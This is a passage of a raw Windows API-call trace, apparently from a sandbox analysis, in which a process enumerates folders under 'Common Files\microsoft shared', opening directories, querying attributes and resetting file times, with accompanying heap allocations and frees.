shared\\office14\\office setup controller"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.194] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office14\\office setup controller"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.194] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.194] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.194] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.194] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.194] NtClose (Handle=0x16c) returned 0x0 [0087.195] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.195] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.196] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.196] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303310 [0087.196] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.196] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.196] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.196] GetLastError () returned 0x12 [0087.196] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.196] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.196] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.196] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7ae59d0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbe284040, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbe284040, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.196] GetLastError () returned 0x12 [0087.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1303310) returned 1 [0087.197] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96cba700, ftCreationTime.dwHighDateTime=0x1cac9ab, ftLastAccessTime.dwLowDateTime=0x30cd96d0, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0x96cba700, ftLastWriteTime.dwHighDateTime=0x1cac9ab, nFileSizeHigh=0x0, nFileSizeLow=0x4588, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0087.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32421600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xae0a2c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x32421600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x14db68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0087.197] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32421600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xae0a2c00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x32421600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x14db68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 0 [0087.197] GetLastError () returned 0x12 [0087.197] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.197] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.198] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.198] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf4bfa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1 [0087.198] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.198] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf4bfa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.199] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.200] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.200] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.200] NtClose (Handle=0x180) returned 0x0 [0087.200] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.200] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.201] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0087.201] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf4bfa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.201] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeefe5e10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0087.201] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bdf7300, ftCreationTime.dwHighDateTime=0x1cb7004, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bdf7300, ftLastWriteTime.dwHighDateTime=0x1cb7004, nFileSizeHigh=0x0, nFileSizeLow=0x87180, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnectCore.dll", cAlternateFileName="")) returned 1 [0087.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.203] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bdf7300, ftCreationTime.dwHighDateTime=0x1cb7004, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bdf7300, ftLastWriteTime.dwHighDateTime=0x1cb7004, nFileSizeHigh=0x0, nFileSizeLow=0x87180, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnectCore.dll", cAlternateFileName="")) returned 0 [0087.203] GetLastError () returned 0x12 [0087.203] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.203] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.203] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xadf4bfa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.203] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeefe5e10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0087.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.204] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeefe5e10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.204] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\portal\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0087.204] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.205] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.205] NtClose (Handle=0x180) returned 0x0 [0087.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303310 [0087.206] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.206] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeefe5e10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.206] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e9d00, ftCreationTime.dwHighDateTime=0x1ca912d, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc77e9d00, ftLastWriteTime.dwHighDateTime=0x1ca912d, nFileSizeHigh=0x0, nFileSizeLow=0x43a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="")) returned 1 [0087.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.208] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e9d00, ftCreationTime.dwHighDateTime=0x1ca912d, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc77e9d00, ftLastWriteTime.dwHighDateTime=0x1ca912d, nFileSizeHigh=0x0, nFileSizeLow=0x43a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="")) returned 0 [0087.208] GetLastError () returned 0x12 [0087.208] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Portal\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.208] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.208] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeefe5e10, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeefe5e10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.208] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e9d00, ftCreationTime.dwHighDateTime=0x1ca912d, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc77e9d00, ftLastWriteTime.dwHighDateTime=0x1ca912d, nFileSizeHigh=0x0, nFileSizeLow=0x43a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="")) returned 1 [0087.208] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc77e9d00, ftCreationTime.dwHighDateTime=0x1ca912d, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc77e9d00, ftLastWriteTime.dwHighDateTime=0x1ca912d, nFileSizeHigh=0x0, nFileSizeLow=0x43a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnect.dll", cAlternateFileName="")) returned 0 [0087.208] GetLastError () returned 0x12 [0087.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1303310) returned 1 [0087.208] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bdf7300, ftCreationTime.dwHighDateTime=0x1cb7004, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bdf7300, ftLastWriteTime.dwHighDateTime=0x1cb7004, nFileSizeHigh=0x0, nFileSizeLow=0x87180, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnectCore.dll", cAlternateFileName="")) returned 1 [0087.209] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bdf7300, ftCreationTime.dwHighDateTime=0x1cb7004, ftLastAccessTime.dwLowDateTime=0xadf4bfa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1bdf7300, ftLastWriteTime.dwHighDateTime=0x1cb7004, nFileSizeHigh=0x0, nFileSizeLow=0x87180, dwReserved0=0x0, dwReserved1=0x0, cFileName="PortalConnectCore.dll", cAlternateFileName="")) returned 0 [0087.209] GetLastError () returned 0x12 [0087.209] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.209] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.210] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.210] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8132bc53, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8132bc53, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="")) returned 1 [0087.210] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.210] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8132bc53, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8132bc53, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.210] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.211] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.211] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.211] NtClose (Handle=0x124) returned 0x0 [0087.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 